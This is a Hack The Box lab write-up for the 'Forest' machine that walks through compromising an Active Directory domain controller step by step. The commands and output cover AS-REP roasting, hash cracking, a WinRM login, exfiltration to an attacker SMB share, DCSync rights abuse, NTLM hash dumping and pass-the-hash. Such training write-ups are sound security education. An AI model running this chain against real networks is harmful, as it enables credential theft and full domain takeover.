Hack The Box - Forest

When I first joined HackTheBox, Forest was the first machine that I was trying to own. It was an overall easy to medium difficulty machine.

On Forest, enumeration of RPC service with anonymous logon/null session reveals Active Directory users account. With these accounts, AS-REP Roasting attack can be performed to obtain a ticket-granting-ticket (TGT) of a service account. The TGT itself contains the password hash of the user that can be cracked offline, and further allows me gain a foothold into the machine. For the root part, the service account permissions allows me to grant myself a DCsync rights, this can be leveraged to pull Active Directory NTLM hashes and use them to gain access as NT Authority\SYSTEM.

Skills Learned

  • AS-REP roasting
  • AD recon using BloodHound
  • Creating network drive
  • Abusing DCSync rights

Tools

Reconnaissance

Nmap

→ root@iamf «forest» «10.10.14.116»
$ nmap -sV -sC -oA nmap/initial-forest 10.10.10.171 -v
  • -sC, to scan with default script
  • -sV, to scan service version
  • -oA, to save the output to all format (xml, nmap, gnmap)
  • -v, verbose mode.
...<SNIP>...
PORT     STATE SERVICE      VERSION
53/tcp   open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 08:18:45Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/21%Time=5E75CC69%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m25s, deviation: 4h02m30s, median: 6m24s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2020-03-21T01:21:11-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2020-03-21T08:21:14
|_  start_date: 2020-03-20T05:27:17
...<SNIP>...

From the scan results, I’m dealing with a domain controller of an Active Directory system.

When it comes to an Active Directory, I often to see people begin their enumeration from SMB (445) and sometimes LDAP (389). I’ll also follow that sequence because these three ports are most likely to allow anonymous login.

Enumeration

TCP 139,445 - SMB

I can authenticate myself as anonymous/null session using both smbclient and rppclient. With current access I could get list of users and groups but not to file shares.

→ root@iamf «forest» «10.10.14.116»
$ rpcclient -U '%' '10.10.10.161'
rpcclient $>
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
...<SNIP>...
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

I use this blog post from SANS as my reference.

Foothold

Shell as svc-alfresco

ASREP Roasting

In Active Directory, users with Kerberos pre-authentication disabled are vulnerable to what is known as AS-REP roasting attack.

When Kerberos is used as the authentication protocol and the pre-auth is enabled, the client or user must include a timestamp encrypted with their password hash for each request they send (KRB_AS_REQ). If the server reads a valid time** after decrypting the request using the user’s password stored in SAM, it gives the user a ticket-granting-ticket (TGT) along with a session key encrypted with the user’s password as the response (KRB_AS_REP).

Now, if the pre-auth is disabled, timestamp is not needed. As a result, an attacker could send a replay attack/dummy request to obtain the TGT and brute force it offline (read more about it here).

**5 minutes is the default tolerance

Below is the overview of the Kerberos mechanism. The AS-REP roasting process is indicated by the red circle (or oval I guess?).

1c8adf13109de9cc575c53d4eb659467.png

Taken from “Vulnerability Assessment of Authentication Methods in a Large-Scale Computer System” by David Freimanis

A tool called GetNPUsers.py can be used to initiate a dummy request for AS-REP roasting. Here, the tool captured svc-alfresco’s TGT.

→ root@iamf «forest» «10.10.14.116»
$ GetNPUsers.py -dc-ip '10.10.10.171' -request htb.local/  -usersfile users -format
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Name          MemberOf                                                PasswordLastSet             LastLogon
      UAC
------------  ------------------------------------------------------  --------------------------  --------------------------  --------
svc-alfresco  CN=Service Accounts,OU=Security Groups,DC=htb,DC=local  2020-03-26 09:40:41.035829  2020-03-26 09:41:40.077493  0x410200

$krb5asrep$23$svc-alfresco@HTB.LOCAL:cf77e95a8a50a6d7b298c46e851e93a7$ea7045cfe9b7583ebd9ba81934cf51330863f66e8b3c2c542981f6317b851980eae4e1a23048e95003cfb38c692075cabf9e3da009e3b1a0e17a34f6fd5d27aa1869a458faee9eff4bdbf5f5f3aaf826caf7e0326f52a522b630becd8f636b8b2fd11af194a18e86d07ad8a55299739684d8be527a9e75e16480db5177841cc7f54ab98891d1691b6ab7f4cbc576d0036820a6c3e59aeaee32e88628c88929e522af9b98ce169ea3bc369551a2925c76bd64e13a7a312119552dad92e9a43814e9033c5ad7d4d4c9808a968ebcc269a52e1f458a4d98c5d930068c52d15c5385c2d71f90933a

Cracking TGT

The obtained TGT can be cracked with dictionary attack using hashcat.

$ hashcat64.exe -m 18200 svcalfresco.txt rockyou.txt -O

3fa7dc6810434503007549f8610016fa.png

The password is s3rvice.

WinRM - svc-alfresco

User svc-alfresco can login remotely via WinRM using evil-winrm.

→ root@iamf «forest» «10.10.14.116»
$ evil-winrm -i '10.10.10.161' -u svc-alfresco -p s3rvice

User flag is done here.

image-20210405164859538

Privilege Escalation

Shell as SYSTEM

Enumeration with BloodHound

BloodHound is a great tool to collect more information about object relationships within this Active Directory.

First, I’ll host my own shares using smbserver.py from Impacket. This will make it easier for data exfiltration and clean up.

→ root@iamf «shares» «10.10.14.116»
$ smbserver.py myfj . -smb2support -username iamf -password iamf

On Forest, I’ll use my share as a network drive.

*Evil-WinRM* PS C:\> $pass = ConvertTo-SecureString 'belompi' -AsPlainText -Force
*Evil-WinRM* PS C:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS C:\> New-PSDrive -Name mikun -PSProvider FileSystem -Credential $cred -Root \\[tun0ip]\myfj
*Evil-WinRM* PS C:\> cd mikun:

I’ve already copied SharpHound.exe, the BloodHound ingestor, to my share.

4da2b821c626eeaa85eecea39b4c96d7.png

I’ll start collecting data with -c all option to collect all.

*Evil-WinRM* PS mikun:\> .\SharpHound.exe -c all

79cb63de9a27f691e28d80820db1ad3d.png

After it finishes, I’ll fire up BloodHound GUI and then load the collected data by drag and drop.

→ root@iamf «forest» «10.10.14.116»
$ neo4j console &
→ root@iamf «forest» «10.10.14.116»
$ bloodhound --no-sandbox &

I marked svc-alfresco as owned then used BloodHound pre-built analytics queries “Shortest Path from Owned Principal” to find the shortest path from svc-alfresco to domain admin.

210d3c3d6e83c6abadd56212b588b7b0.png

Path explanation, from top (nearest path to domain admin) to the bottom:

  • Exchange Windows Permissions group has WriteDacl permission on AD domain. It simply allows you to modify the domain object’s permissions. Users, groups, computers, shares are domain objects.
  • Account Operators group has GenericAll permissions on Exchange Windows Permissions group. It allows you to modify group membership like adding/removing a user to/from the group. Account Operators members have the ability to create a user.
  • Privileged IT Accounts group has direct membership to the Account Operators group.
  • User svc-alfresco is a direct member of Service Account group and it has indirect membership to the Privileged IT Accounts and the Account Operators group

Based on the path, here are the plans:

  • Leverage Account Operators indirect membership to create a new user and join it to Exchange Windows Permission group
  • Leverage Exchange Windows Permissions group permission to grant DS-Replication-Get-Changes-All (DCSync) to the new user.

Credential Dumping with DCSync Rights

In Forest, I’ll have to load PowerView.ps1 first.

*Evil-WinRM* PS mikun:\> Import-Module .\powerview.ps1

Then I’ll create a new user and join it to the Exchange Windows Permissions group.

*Evil-WinRM* PS mikun:\> net user mikun password /add /domain
*Evil-WinRM* PS mikun:\> net group "Exchange Windows Permission" /add mikun

After that, grant DCSync right t

*Evil-WinRM* PS mikun:\> $pass = ConvertTo-SecureString 'password' -AsPlainText -Force
*Evil-WinRM* PS mikun:\>
*Evil-WinRM* PS mikun:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS mikun:\>
*Evil-WinRM* PS mikun:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb, DC=local" -PrincipalIdentity mikun -Rights DCSync

Now I can use secretsdump.py from Impacket with that user to perform a DCSync attack.

→ root@iamf «forest» «10.10.14.116»
$ secretsdump.py htb.local/mikun:'password'@10.10.10.161
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
... <SNIP> ...
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
... <SNIP> ...
[*] Cleaning up...

psexec.py

Administrator hash can be used with psexec.py from Impacket to gain shell access (pass-the-hash).

→ root@iamf «forest» «10.10.14.116»
$ psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6' administrator@10.10.10.161

f5aa475536c65192d37a0278a77646ee.png

References